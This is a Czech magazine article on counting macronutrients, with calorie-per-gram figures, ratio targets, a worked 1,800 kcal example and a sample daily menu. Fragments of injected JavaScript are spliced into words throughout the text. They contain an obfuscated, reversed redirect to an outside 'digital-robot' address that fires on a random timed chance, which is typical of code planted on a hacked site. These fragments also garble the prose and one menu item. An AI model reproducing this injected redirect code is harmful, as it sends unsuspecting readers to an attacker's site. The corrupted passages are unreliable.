Výživa

V jednoduchosti je síla aneb víte, jak spočítat podíl makroživin ve stravě?

PORADÍME VÁM, JAK SI SESTAVIT JÍDELNÍČEK.

Jestli vám nevyhovuje věčné počítání kalorií a omezování některých potravin a rádi byste svých cílů dosáhli, aniž byste se museli vzdávat oblíbeného jídla, pak by pro vás mohlo být řešení počítání makroživin.
Na rozdíl od bláznivých trendy diet je tentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to přístup překvapivě flexibilní a nabízí vám celou řadu možností.

Základy
Makroživiny jsou základní složkou stravy, právě ony obsahují kalorie, o které nám tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolik jde. Existují tři hlavní skupiny makroživin – bílkoviny, sacharidy a tuky – jeden gram každé z nich má určité množství kalorií.

1 gram bílkovin = 4 kcal
1 gram sacharidů = 4 kcal
1 gram tuků = 9 kcal

Místobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho, abyste počítali, kolik denně potřebujete kalorií, můžete tedy vycházet z faktu, kolik gramů jednotlivých makroživin byste měli denně konzumovat.

Ale nenechte se zmást – počítání makroživin neznamená, že budete mít povolení ládovat se nedietními jídly s tím, že stačí si hlídat makroživiny. Klíčem k úspěchu je, aby vaše strava byla z 80-90 % zdravá a dávky makroživin korespondovaly s tím, co je pro vás vhodné.

Hlavním bonusem takového stravování pro vás bude, že budete vědět, co vašemu tělu vyhovuje, pochopíte jeho potřeby v závislosti na různých cílech (budování hmoty, spalování tuků, udržení váhy atd.). Díky sledování dávek makroživin tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prostě půjde.

Jak počítat makroživiny

Začněte základním výpočtem, který závisí na vašich cílech. Podle tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho byste se měli stravovat první čtyři až šest týdnů. To je dostatečně dlouhá doba na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, abyste sledovali dosažené výsledky a případně mohli dávkování upravit (omezit sacharidy, přidat bílkoviny nebo tuky atd.). Pár týdnů se tedy držte následujícího rozpisu, abyste si ověřili, co je pro vás nejlepší. Začněte jedním z následujících poměrů:

Urychlení metabolismu/spalování tuků: 35 % bílkovin, 25 % sacharidů, 40 % tuků.
Budování svalů/nárůst váhy: 30 % bílkovin, 40 % sacharidů, 30 % tuků.

Nejprve si musíte vypočítat, kolik kalorií denně potřebujete. Použijte nějakou online kalorickou kalkulačku nebo prostě vynásobte svoji váhu v librách (1 libra = 0,45 kg) číslem 12,5 (výpočet se týká fyzicky aktivních lidí). Poté spočítejte poměr živin.

Zde je příklad výpočtu pro člověka, jehož strava by měla obsahovat 1800 kcal a chce zrychlit metabolismus + spalovat tuky:
Bílkoviny = 0,35 x 1800 = 630 kcal/4 kcal = 157,5 gramů bílkovin denně.
Sacharidy = 0,25 x 1800 = 450 kcal/4 kcal = 112,5 gramů sacharidů denně.
Tuky = 0,40 x 1800 = 720 kcal/9 kcal = 80 gramů tuků denně.

Plán úspěchu

Jestli máte být při stravování podle makroživin opravdu úspěšní, sestavte si konkrétní jídelníček. Tzn. rozdělte dávky makroživin do jednotlivých porcí jídla (včetně svačin) – postačí tři větší porce + jedna nebo dvě svačiny.
Je dobré vědět, kolik by která porce měla obsahovat proteinů, sacharidů a tuků. Samozřejmě, že se jednotlivé porce mohou různě lišit, ale budete mít alespoň základní představu o sestavení stravovacího plánu. Ten by pro člověka o denním příjmu 1800 kcal, který chce vyrýsovat, mohl vypadat následovně:

Snídaně: 40 gramů bílkovin + 40 gramů sacharidů + 17 gramů tuků
Svačina: 18 gramů bílkovin + 14 gramů tuků
Oběd: 40 gramů bílkovin + 36 gramů sacharidů + 17 gramů tuků
Svačina: 18 gramů bílkovin + 14 gramů tuků
Večeře: 40 gramů bílkovin + 36 gramů sacharidů + 17 gramů tuků

PŘÍKLAD JÍDELNÍČKU PODLE VÝŠE UVEDENÉHO ROZDĚLENÍ:

Snídaně: 2 velká vajíčka + 4 bílky (vejce upravte dle chuti) + 2 krajíčky celozrnného chleba + ¼ šálku nakrájeného avokáda = 36 g bílkovin, 16 g tuku, 35 g sacharidů.
Svačina: 1 plátek mozzarelly + 30 g mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlí = 13 g bílkovin, 20 g tuku, 7 g sacharidů.
Oběd: 150 g grilovaných kuřecích prsou + ¾ šálku vařené quinoy + 1 šálek dušené brokolice + 1 lžíce másla = 37 g bílkovin, 18 g tuku, 34 g sacharidů.
Svačina: 1 odměrka syrovátkového proteinového prášku (smíchat s vodou) + 2 lžíce burákového másla = 31 g bílkovin, 18 g tuku, 8 g sacharidů.
Večeře: 120 g dušeného nebo grilovaného lososa + 1 malá pečená brambora + 1 šálek dušené zeleniny = 35 g bílkovin, 9 g tuku, 41 g sacharidů.

Obsah výživných látek: 1843 kcal, 152 g bílkovin, 81 g tuku, 125 g sacharidů.